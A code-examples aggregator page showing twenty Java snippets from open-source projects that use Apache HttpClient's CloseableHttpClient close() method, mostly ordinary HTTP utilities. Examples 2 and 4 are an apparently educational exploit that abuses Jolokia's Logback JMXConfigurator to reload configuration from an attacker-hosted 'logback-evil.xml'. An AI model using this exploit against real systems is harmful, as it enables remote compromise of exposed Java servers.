Java Code Examples for org.apache.http.impl.client.CloseableHttpClient#close()

The following examples show how to use org.apache.http.impl.client.CloseableHttpClient#close() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: HttpUtils.java    From DataLink with Apache License 2.0 7 votes vote down vote up
/**
 * 执行一个HTTP GET请求,返回请求响应的HTML
 *
 * @param url 请求的URL地址
 * @return 返回请求响应的HTML
 * @throws IOException
 */
public static String doGet(String url, Map<String, String> params) throws IOException {
    CloseableHttpClient client = HttpClientBuilder.create().build();
    if(params!=null && params.size()>0) {
        url = url + "?" + map2Str(params);
    }
    HttpGet httpGet = new HttpGet(url);
    try {
        HttpResponse httpResponse = client.execute(httpGet);
        if (httpResponse.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
            HttpEntity entity = httpResponse.getEntity();
            return EntityUtils.toString(entity, "utf-8");
        }
    } finally {
        if (client != null) {
            client.close();
        }
    }
    return "";
}
 
Example 2
Source File: JolokiaAttackForLogback.java    From learnjavabug with MIT License 6 votes vote down vote up
public static void main(String[] args) {
    String target = "http://localhost:8080";
    String evilXML = "http:!/!/127.0.0.1:23222!/logback-evil.xml";
    HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML);
    try {
      HttpClientBuilder httpClientBuilder = HttpClients
          .custom()
//          .setProxy(new HttpHost("127.0.0.1", 8080))
          .disableRedirectHandling()
          .disableCookieManagement()
          ;

      CloseableHttpClient httpClient = null;
      CloseableHttpResponse response = null;
      try {
        httpClient = httpClientBuilder.build();
        response = httpClient.execute(httpGet);
      } finally {
        response.close();
        httpClient.close();
      }
    } catch (Exception e) {
      e.printStackTrace();
    }

  }
 
Example 3
Source File: HttpUtil.java    From pacbot with Apache License 2.0 6 votes vote down vote up
/**
 * Http get method with headers.
 *
 * @param url the url
 * @param headers the headers
 * @return the string
 * @throws Exception the exception
 */
public static String httpGetMethodWithHeaders(String url,Map<String, Object> headers) throws Exception {
    String json = null;
    
    HttpGet get = new HttpGet(url);
    CloseableHttpClient httpClient = null;
    if (headers != null && !headers.isEmpty()) {
        for (Map.Entry<String, Object> entry : headers.entrySet()) {
            get.setHeader(entry.getKey(), entry.getValue().toString());
        }
    }
    try {
        httpClient = getHttpClient();
        CloseableHttpResponse res = httpClient.execute(get);
        if (res.getStatusLine().getStatusCode() == 200) {
            json = EntityUtils.toString(res.getEntity());
        }
    } finally {
        if (httpClient != null) {
            httpClient.close();
        }
    }
    return json;
}
 
Example 4
Source File: JolokiaAttackForLogback.java    From learnjavabug with MIT License 6 votes vote down vote up
public static void main(String[] args) {
  String target = "http://localhost:8080";
  String evilXML = "http:!/!/127.0.0.1:80!/logback-evil.xml";
  HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML);
  try {
    HttpClientBuilder httpClientBuilder = HttpClients
        .custom()
        .disableRedirectHandling()
        .disableCookieManagement()
        ;

    CloseableHttpClient httpClient = null;
    CloseableHttpResponse response = null;
    try {
      httpClient = httpClientBuilder.build();
      response = httpClient.execute(httpGet);
    } finally {
      response.close();
      httpClient.close();
    }
  } catch (Exception e) {
    e.printStackTrace();
  }

}
 
Example 5
Source File: PacmanTableAPI.java    From pacbot with Apache License 2.0 6 votes vote down vote up
public static String httpGetMethod(String url) throws Exception {
    String json = null;
    // Some custom method to craete HTTP post object
    HttpGet post = new HttpGet(url);
    CloseableHttpClient httpClient = null;
    post.setHeader("Content-Type", ContentType.APPLICATION_JSON.toString());
    try {
        // Get http client
        httpClient = PacmanUtils.getCloseableHttpClient();

        // Execute HTTP method
        CloseableHttpResponse res = httpClient.execute(post);

        // Verify response
        if (res.getStatusLine().getStatusCode() == 200) {
            json = EntityUtils.toString(res.getEntity());
        }
    } finally {
        if (httpClient != null) {
            httpClient.close();
        }
    }
    return json;
}
 
Example 6
Source File: AbstractUnitTest.java    From deprecated-security-ssl with Apache License 2.0 6 votes vote down vote up
protected String executeSimpleRequest(final String request) throws Exception {

        CloseableHttpClient httpClient = null;
        CloseableHttpResponse response = null;
        try {
            httpClient = getHTTPClient();
            response = httpClient.execute(new HttpGet(getHttpServerUri() + "/" + request));

            if (response.getStatusLine().getStatusCode() >= 300) {
                throw new Exception("Statuscode " + response.getStatusLine().getStatusCode()+" - "+response.getStatusLine().getReasonPhrase()+ "-" +IOUtils.toString(response.getEntity().getContent(), StandardCharsets.UTF_8));
            }

            return IOUtils.toString(response.getEntity().getContent(), StandardCharsets.UTF_8);
        } finally {

            if (response != null) {
                response.close();
            }

            if (httpClient != null) {
                httpClient.close();
            }
        }
    }
 
Example 7
Source File: Util.java    From pacbot with Apache License 2.0 6 votes vote down vote up
public static String httpPostMethodWithHeaders(String url, Map<String, Object> headers) throws Exception {
	String json = null;

	HttpPost post = new HttpPost(url);
	CloseableHttpClient httpClient = null;
	if (headers != null && !headers.isEmpty()) {
		for (Map.Entry<String, Object> entry : headers.entrySet()) {
			post.setHeader(entry.getKey(), entry.getValue().toString());
		}
	}
	try {
		httpClient = getHttpClient();
		CloseableHttpResponse res = httpClient.execute(post);
		if (res.getStatusLine().getStatusCode() == 200) {
			json = EntityUtils.toString(res.getEntity());
		}
	} finally {
		if (httpClient != null) {
			httpClient.close();
		}
	}
	return json;
}
 
Example 8
Source File: Qbittorrent.java    From BoxHelper with GNU General Public License v3.0 6 votes vote down vote up
@Override
public boolean removeTorrent(String hash) throws IOException {
    if (hash == null || "".equals(hash)) return true;
    String name = null;
    Long size = 0L;
    for (Object torrent: this.allTorrents){
        if (((QbittorrentTorrents) torrent).getHash().equals(hash)){
            name = ((QbittorrentTorrents) torrent).getName();
            size = ((QbittorrentTorrents) torrent).getTotal_size();
            break;
        }
    }
    System.out.println("\u001b[37;1m [Info]   \u001b[36m  qBittorrent:\u001b[0m Removing torrent " + name +" ...");
    CloseableHttpClient httpClient = HttpClients.createDefault();
    HttpGet httpget = new HttpGet("http://127.0.0.1:" + getPort() + "/api/v2/torrents/delete?hashes=" + hash + "&deleteFiles=true");
    httpget.addHeader("User-Agent", "BoxHelper");
    httpget.addHeader("Host", "127.0.0.1:" + getPort());
    httpget.addHeader("Cookie", "SID=" + this.sessionID);
    httpClient.execute(httpget);
    boolean removed = recheck(hash, name, size, TorrentState.ALL);
    if (removed)  System.out.println("\u001b[33;1m [Warning]\u001b[36m  qBittorrent:\u001b[0m " + name + " did not removed. Retry later...");
    else System.out.println("\u001b[37;1m [Info]   \u001b[36m  qBittorrent:\u001b[0m " + name + " successfully removed.");
    httpClient.close();
    return removed;
}
 
Example 9
Source File: EcrExtendedAuth.java    From jkube with Eclipse Public License 2.0 6 votes vote down vote up
private JsonObject executeRequest(CloseableHttpClient client, HttpPost request) throws IOException {
    try {
        CloseableHttpResponse response = client.execute(request);
        int statusCode = response.getStatusLine().getStatusCode();
        logger.debug("Response status %d", statusCode);
        if (statusCode != HttpStatus.SC_OK) {
            throw new IOException("AWS authentication failure");
        }

        HttpEntity entity = response.getEntity();
        Reader jr = new InputStreamReader(entity.getContent(), StandardCharsets.UTF_8);
        return new Gson().fromJson(jr, JsonObject.class);
    }
    finally {
        client.close();
    }
}
 
Example 10
Source File: HttpUtils.java    From we-cmdb with Apache License 2.0 6 votes vote down vote up
public static String postWithJson(Map<String, Object> msgs, String url)
        throws ClientProtocolException, IOException {
    CloseableHttpClient httpClient = HttpClients.createDefault();
    try {
        String jsonParam = JSON.toJSONString(msgs);

        HttpPost post = new HttpPost(url);
        post.setHeader("Content-Type", APPLICATION_JSON);
        post.setEntity(new StringEntity(jsonParam, CHARSET_UTF_8));
        CloseableHttpResponse response = httpClient.execute(post);

        return new String(EntityUtils.toString(response.getEntity()).getBytes("iso8859-1"),CHARSET_UTF_8);
    } finally {
        httpClient.close();
    }
}
 
Example 11
Source File: HttpUtils.java    From we-cmdb with Apache License 2.0 6 votes vote down vote up
/**
 * get请求
 *
 * @param msgs
 * @param url
 * @return
 * @throws ClientProtocolException
 * @throws UnknownHostException
 * @throws IOException
 */
public static String get(Map<String, Object> msgs, String url)
        throws ClientProtocolException, UnknownHostException, IOException {
    CloseableHttpClient httpClient = HttpClients.createDefault();
    try {
        List<NameValuePair> valuePairs = new ArrayList<NameValuePair>();
        if (null != msgs) {
            for (Entry<String, Object> entry : msgs.entrySet()) {
                if (entry.getValue() != null) {
                    valuePairs.add(new BasicNameValuePair(entry.getKey(),
                            entry.getValue().toString()));
                }
            }
        }
        // EntityUtils.toString(new UrlEncodedFormEntity(valuePairs),
        // CHARSET);
        url = url + "?" + URLEncodedUtils.format(valuePairs, CHARSET_UTF_8);
        HttpGet request = new HttpGet(url);
        CloseableHttpResponse resp = httpClient.execute(request);
        return EntityUtils.toString(resp.getEntity(), CHARSET_UTF_8);
    } finally {
        httpClient.close();
    }
}
 
Example 12
Source File: HttpServiceClient.java    From binlake with Apache License 2.0 5 votes vote down vote up
/**
 * execute http entity
 *
 * @param entity: http entity
 * @param url
 * @return
 * @throws Exception
 */
private <V> V execute(HttpEntity entity, String url, RunCallUtils<byte[], V> call, Callable<V> fail) throws Exception {
    CloseableHttpClient client = HttpClients.createDefault();
    try {
        HttpPost httpPost = new HttpPost(url);

        httpPost.setEntity(entity);
        httpPost.setHeader("Accept", "application/json");
        httpPost.setHeader("Content-type", "application/json");

        CloseableHttpResponse resp = client.execute(httpPost);

        if (resp == null) {
            LogUtils.warn.warn("no response from server " + url);
            return fail.call();
        }

        int c = resp.getStatusLine().getStatusCode();
        if (c != 200) {
            LogUtils.warn.warn("response status code from server " + c);
            return fail.call();
        }

        return call.call(IOUtils.readFully(resp.getEntity().getContent(), -1, false));
    } finally {
        client.close();
    }
}
 
Example 13
Source File: PassTicketServiceHttps.java    From api-layer with Eclipse Public License 2.0 5 votes vote down vote up
private void finallyClose(CloseableHttpClient client, CloseableHttpResponse response) {
    try {
        if (response != null) {
            response.close();
        }
        if (client != null) {
            client.close();
        }
    } catch (IOException e) {
        log.warn("It wasn't possible to close the resources. " + e.getMessage());
    }
}
 
Example 14
Source File: EcrExtendedAuthTest.java    From jkube with Eclipse Public License 2.0 5 votes vote down vote up
@Test
public void testClientClosedAndCredentialsDecoded(@Mocked final CloseableHttpClient closeableHttpClient,
        @Mocked final CloseableHttpResponse closeableHttpResponse,
        @Mocked final StatusLine statusLine)
    throws IOException, IllegalStateException {

    final HttpEntity entity = new StringEntity("{\"authorizationData\": [{"
                                               + "\"authorizationToken\": \"QVdTOnBhc3N3b3Jk\","
                                               + "\"expiresAt\": 1448878779.809,"
                                               + "\"proxyEndpoint\": \"https://012345678910.dkr.ecr.eu-west-1.amazonaws.com\"}]}");

    new Expectations() {{
        statusLine.getStatusCode(); result = 200;
        closeableHttpResponse.getEntity(); result = entity;
    }};
    EcrExtendedAuth eea = new EcrExtendedAuth(logger, "123456789012.dkr.ecr.eu-west-1.amazonaws.com") {
        CloseableHttpClient createClient() {
            return closeableHttpClient;
        }
    };

    AuthConfig localCredentials = AuthConfig.builder()
            .username("username")
            .password("password")
            .build();
    AuthConfig awsCredentials = eea.extendedAuth(localCredentials);
    assertEquals("AWS", awsCredentials.getUsername());
    assertEquals("password", awsCredentials.getPassword());

    new Verifications() {{
         closeableHttpClient.close();
     }};
}
 
Example 15
Source File: ApacheHttpClientDemo.java    From Java-11-Cookbook-Second-Edition with MIT License 5 votes vote down vote up
public static void main(String [] args) throws Exception{
    CloseableHttpClient client = HttpClients.createDefault();
    try{
        HttpGet request = new HttpGet("http://httpbin.org/get");

        CloseableHttpResponse response = client.execute(request);
        int statusCode = response.getStatusLine().getStatusCode();
        String responseBody = EntityUtils.toString(response.getEntity());
        System.out.println("Status code: " + statusCode);
        System.out.println("Response Body: " + responseBody);
    }finally{
        client.close();
    }
}
 
Example 16
Source File: Qbittorrent.java    From BoxHelper with GNU General Public License v3.0 5 votes vote down vote up
@Override
public void login() throws IOException {
    System.out.println("\u001b[37;1m [Info]   \u001b[36m  qBittorrent:\u001b[0m Login ...");
    CloseableHttpClient httpClient = HttpClients.createDefault();
    HttpGet httpget = new HttpGet("http://127.0.0.1:" + this.getPort() + "/api/v2/auth/login?username=" + this.username + "&password=" + this.password);
    httpget.addHeader("User-Agent", "BoxHelper");
    httpget.addHeader("Host", "127.0.0.1:" + this.getPort());
    CloseableHttpResponse response = httpClient.execute(httpget);
    String setCookie = response.getFirstHeader("Set-Cookie").getValue();
    String sid = setCookie.substring("SID=".length(), setCookie.indexOf(";"));
    if (!"".equals(sid)) this.sessionID = sid;
    else System.out.println("\u001b[31;1m [Error]  \u001b[36m  qBittorrent:\u001b[0m Cannot login. Please check config.");
    response.close();
    httpClient.close();
}
 
Example 17
Source File: AlipayController.java    From springboot-pay-example with Apache License 2.0 4 votes vote down vote up
/**
 * 下载下来的是一个【账号_日期.csv.zip】文件(zip压缩文件名,里面有多个.csv文件)
 * 账号_日期_业务明细 : 支付宝业务明细查询
 * 账号_日期_业务明细(汇总):支付宝业务汇总查询
 *
 * 注意:如果数据量比较大,该方法可能需要更长的执行时间
 * @param billDownLoadUrl
 * @return
 * @throws IOException
 */
private List<String> downloadBill(String billDownLoadUrl) throws IOException {
    String ordersStr = "";
    CloseableHttpClient httpClient = HttpClients.createDefault();
    RequestConfig config = RequestConfig.custom()
            .setConnectTimeout(60000)
            .setConnectionRequestTimeout(60000)
            .setSocketTimeout(60000)
            .build();
    HttpGet httpRequest = new HttpGet(billDownLoadUrl);
    httpRequest.setConfig(config);
    CloseableHttpResponse response = null;
    byte[] data = null;
    try {
        response = httpClient.execute(httpRequest);
        HttpEntity entity = response.getEntity();
        data = EntityUtils.toByteArray(entity);
    } finally {
        response.close();
        httpClient.close();
    }
    ZipInputStream zipInputStream = new ZipInputStream(new ByteArrayInputStream(data), Charset.forName("GBK"));
    ZipEntry zipEntry = null;
    try{
        while( (zipEntry = zipInputStream.getNextEntry()) != null){
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            try{
                String name = zipEntry.getName();
                // 只要明细不要汇总
                if(name.contains("汇总")){
                    continue;
                }
                byte[] byteBuff = new byte[4096];
                int bytesRead = 0;
                while ((bytesRead = zipInputStream.read(byteBuff)) != -1) {
                    byteArrayOutputStream.write(byteBuff, 0, bytesRead);
                }
                ordersStr = byteArrayOutputStream.toString("GBK");
            }finally {
                byteArrayOutputStream.close();
                zipInputStream.closeEntry();
            }
        }
    } finally {
        zipInputStream.close();
    }

    if (ordersStr.equals("")) {
        return null;
    }
    String[] bills = ordersStr.split("\r\n");
    List<String> billList = Arrays.asList(bills);
    billList = billList.parallelStream().map(item -> item.replace("\t", "")).collect(Collectors.toList());

    return billList;
}
 
Example 18
Source File: Qbittorrent.java    From BoxHelper with GNU General Public License v3.0 4 votes vote down vote up
private boolean recheck(String hash, String name, Long size, TorrentState torrentState) throws IOException {

        try {
            sleep(1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        String des = "";
        switch (torrentState) {
            default:
            case ALL: des = "/api/v2/torrents/info?filter=all"; break;
            case DOWNLOADING: des = "/api/v2/torrents/info?filter=downloading"; break;
        }
        CloseableHttpClient httpClient = HttpClients.createDefault();
        HttpGet httpget = new HttpGet("http://127.0.0.1:" + this.getPort() + des);
        httpget.addHeader("User-Agent", "BoxHelper");
        httpget.addHeader("Host", "127.0.0.1:" + getPort());
        httpget.addHeader("Cookie", "SID=" + this.sessionID);
        CloseableHttpResponse response = httpClient.execute(httpget);
        HttpEntity entity = response.getEntity();
        boolean exist = false;
        if (entity != null) {
            String responseString = EntityUtils.toString(entity) ;
            if (hash != null && !"".equals(hash)) {
                if (responseString.contains(hash)) {
                    exist = true;
                }
            } else {
                for (Torrents torrent: decodeRawList(responseString)){
                    if (torrent.getName().replaceAll("[\\.\\s]", "").equals(name.replaceAll("[\\.\\s]", ""))){
                        exist = true;
                    }
                    if (((System.currentTimeMillis() / 1000 - torrent.getAdded_on()) < 180) && Math.abs(torrent.getTotal_size() - size) < 10000000){
                        exist = true;
                    }
                }
            }
        }
        response.close();
        httpClient.close();
        return exist;
    }
 
Example 19
Source File: LibrarySubmitTask.java    From mzmine3 with GNU General Public License v2.0 4 votes vote down vote up
/**
 * Submit json library entry to GNPS webserver
 * 
 * @param json
 */
private void submitGNPS(String json) {
  try {
    CloseableHttpClient httpclient = HttpClients.createDefault();
    try {
      MultipartEntity entity = new MultipartEntity();

      // ######################################################
      // NEEDED
      // user pass and json entry
      //
      entity.addPart("username", new StringBody(USER));
      entity.addPart("password", new StringBody(PASS));
      entity.addPart("spectrum", new StringBody(json));
      // job description is not entry description
      entity.addPart("description", new StringBody(SOURCE_DESCRIPTION));

      HttpPost httppost = new HttpPost(GNPS_LIBRARY_SUBMIT_URL);
      httppost.setEntity(entity);

      log.info("Submitting GNPS library entry " + httppost.getRequestLine());
      CloseableHttpResponse response = httpclient.execute(httppost);
      try {
        writeResults("GNPS submit entry response status: " + response.getStatusLine(),
            Result.INFO);
        log.info("GNPS submit entry response status: " + response.getStatusLine());
        HttpEntity resEntity = response.getEntity();
        if (resEntity != null) {
          log.info("GNPS submit entry response content length: " + resEntity.getContentLength());
          writeResults(
              "GNPS submit entry response content length: " + resEntity.getContentLength(),
              Result.SUCCED);

          String body = IOUtils.toString(resEntity.getContent());
          String url = "https://gnps.ucsd.edu/ProteoSAFe/status.jsp?task=" + body;
          log.log(Level.INFO, "Submission task: " + url);
          writeResults(url, Result.SUCCED, true);
          EntityUtils.consume(resEntity);
        } else {
          log.warning("Not submitted to GNPS:\n" + json);
          writeResults("Not submitted to GNPS\n" + json, Result.ERROR);
        }
      } finally {
        response.close();
      }
    } finally {
      httpclient.close();
    }
  } catch (IOException e) {
    log.log(Level.SEVERE, "Error while submitting GNPS job", e);
    throw new MSDKRuntimeException(e);
  }
}
 
Example 20
Source File: FakeAOSmithWaterHeater.java    From arcusplatform with Apache License 2.0 4 votes vote down vote up
private void pollServer() {	   
   Timer oldTimer = timerRef.getAndSet(null);
   if (oldTimer != null) {
      oldTimer.cancel();
   }
   HttpClientBuilder builder = HttpClientBuilder.create();
   builder.setSslcontext(sslContext);
	CloseableHttpClient httpClient = builder.build();
	
	boolean fastPoll = false;
	try {
		StringEntity entity = new StringEntity(buildPayload(), ContentType.APPLICATION_FORM_URLENCODED);
		HttpUriRequest pollingMsg = RequestBuilder.post()
				.setUri(uri)
				.setEntity(entity)
				.build();
		CloseableHttpResponse response = httpClient.execute(pollingMsg);
		try {
			HttpEntity stuff = response.getEntity();
			String thing = EntityUtils.toString(stuff);
			System.out.println("####\n#### RESPONSE " + response.getStatusLine());
			System.out.println("####\n    Response Message: " + thing + "\n####");
			
			fastPoll = applyResults(thing);
		}
		finally {
			response.close();
		}
	}
	catch(Exception ex) {
		ex.printStackTrace();
	}
	finally {
		try {
			httpClient.close();
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	   timerRef.set(new Timer());
		if (fastPoll) {
		   System.out.println("####\n#### Schedule Fast Poll: " + FAST_POLL + "s" + "\n####");
		   timerRef.get().schedule(new PollServerTask(), FAST_POLL * 1000);
		}
		else {
		   int pollingInterval = Integer.valueOf(state.get(AosConstants.AOS_PARAM_UPDATERATE));
		   System.out.println("####\n#### Schedule Standard Poll: " + pollingInterval + "s" + "\n####");
		   timerRef.get().schedule(new PollServerTask(), pollingInterval * 1000);
		}
	}
}